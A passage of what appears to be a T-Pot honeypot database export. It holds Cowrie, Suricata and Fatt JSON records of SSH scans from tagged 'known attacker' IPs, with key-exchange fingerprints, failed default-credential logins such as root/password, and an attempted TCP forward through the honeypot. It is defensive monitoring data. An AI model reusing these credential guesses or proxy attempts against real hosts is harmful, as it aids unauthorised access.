"f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3e0c52b68214", "@version": "1", "timestamp": "2021-09-20T11:16:32.089819Z", "@timestamp": "2021-09-20T11:16:32.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28184	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:16:32.043502+03	2021-09-20 14:30:02.493553+03	{"_id": "_gbrAnwBvYTbRNuE_iwp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "3e0c52b68214", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:16:32.043502Z", "@timestamp": "2021-09-20T11:16:32.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28185	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:16:32.386178+03	2021-09-20 14:30:02.494554+03	{"_id": "AwbrAnwBvYTbRNuE_i0q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ddc5e22cd61c", "@version": "1", "timestamp": "2021-09-20T11:16:32.386178Z", "@timestamp": "2021-09-20T11:16:32.386Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28186	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:16:24.714562+03	2021-09-20 14:30:02.496553+03	{"_id": "zgbrAnwBvYTbRNuE3izj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/password] failed", "session": "b2f77d7057df", "@version": "1", "password": "password", "username": "root", "timestamp": "2021-09-20T11:16:24.714562Z", "@timestamp": "2021-09-20T11:16:24.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28187	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:25.581693+03	2021-09-20 14:30:02.497524+03	{"_id": "0gbrAnwBvYTbRNuE4izL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.64.94.2241123109.199.241.180'", "session": "b961918efaae", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.64.94.2241123109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:16:25.581693Z", "@timestamp": "2021-09-20T11:16:25.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28221	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:36.839746+03	2021-09-20 14:30:02.545553+03	{"_id": "JwbsAnwBvYTbRNuEES21", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [testing/password] failed", "session": "de0b4293f12e", "@version": "1", "password": "password", "username": "testing", "timestamp": "2021-09-20T11:16:36.839746Z", "@timestamp": "2021-09-20T11:16:36.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28188	8.9.231.227	109.199.241.180	Suricata	2021-09-20 14:16:25.764906+03	2021-09-20 14:30:02.498523+03	{"_id": "2QbrAnwBvYTbRNuE5Cyb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.64.94.2241123109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:25.401906+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.9.231.227", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 466628559577586, "payload": "AAAAVC4eAAAAIMxTv6ndHLURavqVddlNuPFr6NIuGs0TtOsMqY3OJjJaxsp0MmcLoWssF5SQ2i3QfgLsp5mcFcVj5b81LyBwEw5TL92HUJ4B8TP7xMEekg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 65413, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:25.764906Z", "@timestamp": "2021-09-20T11:16:25.764Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... .S......j..u.M..k............&2Z..t2g..k,....-.~.......c..5/ p..S/..P...3....."}}	1	\N	\N	alert	\N	\N
28189	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:25.582919+03	2021-09-20 14:30:02.500523+03	{"_id": "2gbrAnwBvYTbRNuE5Szf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.9.231.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 65413, "timestamp": "2021-09-20T11:16:25.582919", "@timestamp": "2021-09-20T11:16:25.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28190	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:16:25.996552+03	2021-09-20 14:30:02.501555+03	{"_id": "3gbrAnwBvYTbRNuE5iy0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "2024beaab466", "@version": "1", "timestamp": "2021-09-20T11:16:25.996552Z", "@timestamp": "2021-09-20T11:16:25.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28191	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:29.741531+03	2021-09-20 14:30:02.502553+03	{"_id": "5gbrAnwBvYTbRNuE8ixv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 213.174.157.83:443 from 127.0.0.1:49287", "session": "b961918efaae", "@version": "1", "src_port": 49287, "dest_port": 443, "timestamp": "2021-09-20T11:16:29.741531Z", "@timestamp": "2021-09-20T11:16:29.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
28203	8.9.231.227	109.199.241.180	Fatt	2021-09-20 14:16:25.764817+03	2021-09-20 14:30:02.520525+03	{"_id": "3AbrAnwBvYTbRNuE5Szg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.9.231.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.64.94.2241123109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 65413, "dest_port": 22, "timestamp": "2021-09-20T11:16:25.764817", "@timestamp": "2021-09-20T11:16:25.764Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28192	8.9.231.227	109.199.241.180	Cowrie	2021-09-20 14:16:29.49773+03	2021-09-20 14:30:02.504553+03	{"_id": "4wbrAnwBvYTbRNuE8ixu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 1, "data": "b'\\\\x16\\\\x03\\\\x01\\\\x02\\\\x00\\\\x01\\\\x00\\\\x01\\\\xfc\\\\x03\\\\x03p\\\\xfe+P\\\\xc0*\\\\x8c\\\\xf0JGr\\\\xee\\\\xea\\\\x8c9\\\\xc9j\\\\x8b\\\\x1d\\\\x1f}.o0\\\\xfa\\\\xe7q\\\\xad\\\\x08R?\\\\t \\\\xca\\\\xc8\\\\xf3C\\\\x03-\\\\xb9\\\\xa9\\\\xf3:\\\\xac\\\\x9a\\\\x84\\\\x10I\\\\x12|\\\\x07$C\\\\xc0\\\\xee]\\\\x8d\\\\x87n\\\\xdf\\\\x8c\\\\x94\\\\xe6%.\\\\x00\\\\x1c\\\\x13\\\\x01\\\\x13\\\\x03\\\\x13\\\\x02\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x01\\\\x97\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x01\\\\x00\\\\x01\\\\x01\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x003\\\\x00k\\\\x00i\\\\x00\\\\x1d\\\\x00 Ax\\\\xd8U\\\\x06\\\\xa33a\\\\xffG\\\\x8f\\\\x06\\\\xa9\\\\x85\\\\x85\\\\xc0t\\\\x8d\\\\xfa\\\\xf1\\\\x8e?\\\\xbd\\\\x8cs\\\\x8d\\\\xb6\\\\xe3h\\\\x9e\\\\x1e\\\\x19\\\\x00\\\\x17\\\\x00A\\\\x04?W\\\\xd6\\\\xd26\\\\xce\\\\x8e\\\\x8c\\\\xc5\\\\xe2\\\\x00\\\\xd0\\\\xdf\\\\x0f #\\\\xcc\\\\xc6\\\\xde\\\\x02\\\\xb9\\\\xe6\\\\xdb\\\\xf9} \\\\xa9(:\\\\xf2\\\\xacF{\\\\x12\\\\xb9\\\\xc4\\\\xdaN\\\\xd2b2\\\\xe6\\\\xbb5,\\\\xf4\\\\xc8\\\\xbc\\\\x07U(\\\\xb5\\\\x837U\\\\t\\\\x88\\\\x8c\\\\xc2\\\\xcc\\\\xf2!!.\\\\x00+\\\\x00\\\\t\\\\x08\\\\x7f\\\\x17\\\\x03\\\\x03\\\\x03\\\\x02\\\\x03\\\\x01\\\\x00\\\\r\\\\x00\\\\x18\\\\x00\\\\x16\\\\x04\\\\x03\\\\x05\\\\x03\\\\x06\\\\x03\\\\x08\\\\x04\\\\x08\\\\x05\\\\x08\\\\x06\\\\x04\\\\x01\\\\x05\\\\x01\\\\x06\\\\x01\\\\x02\\\\x03\\\\x02\\\\x01\\\\x00-\\\\x00\\\\x02\\\\x01\\\\x01\\\\x00\\\\x15\\\\x00\\\\x9e\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.9.231.227", "dest_ip": "213.174.157.83", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 1 to 213.174.157.83:443 with data b'\\\\x16\\\\x03\\\\x01\\\\x02\\\\x00\\\\x01\\\\x00\\\\x01\\\\xfc\\\\x03\\\\x03p\\\\xfe+P\\\\xc0*\\\\x8c\\\\xf0JGr\\\\xee\\\\xea\\\\x8c9\\\\xc9j\\\\x8b\\\\x1d\\\\x1f}.o0\\\\xfa\\\\xe7q\\\\xad\\\\x08R?\\\\t \\\\xca\\\\xc8\\\\xf3C\\\\x03-\\\\xb9\\\\xa9\\\\xf3:\\\\xac\\\\x9a\\\\x84\\\\x10I\\\\x12|\\\\x07$C\\\\xc0\\\\xee]\\\\x8d\\\\x87n\\\\xdf\\\\x8c\\\\x94\\\\xe6%.\\\\x00\\\\x1c\\\\x13\\\\x01\\\\x13\\\\x03\\\\x13\\\\x02\\\\xc0+\\\\xc0/\\\\xcc\\\\xa9\\\\xcc\\\\xa8\\\\xc0,\\\\xc00\\\\xc0\\\\x13\\\\xc0\\\\x14\\\\x00/\\\\x005\\\\x00\\\\n\\\\x01\\\\x00\\\\x01\\\\x97\\\\x00\\\\x00\\\\x00\\\\x13\\\\x00\\\\x11\\\\x00\\\\x00\\\\x0etsyndicate.com\\\\x00\\\\x17\\\\x00\\\\x00\\\\xff\\\\x01\\\\x00\\\\x01\\\\x00\\\\x00\\\\n\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x00\\\\x1d\\\\x00\\\\x17\\\\x00\\\\x18\\\\x00\\\\x19\\\\x01\\\\x00\\\\x01\\\\x01\\\\x00\\\\x0b\\\\x00\\\\x02\\\\x01\\\\x00\\\\x00#\\\\x00\\\\x00\\\\x00\\\\x10\\\\x00\\\\x0e\\\\x00\\\\x0c\\\\x02h2\\\\x08http/1.1\\\\x00\\\\x05\\\\x00\\\\x05\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x003\\\\x00k\\\\x00i\\\\x00\\\\x1d\\\\x00 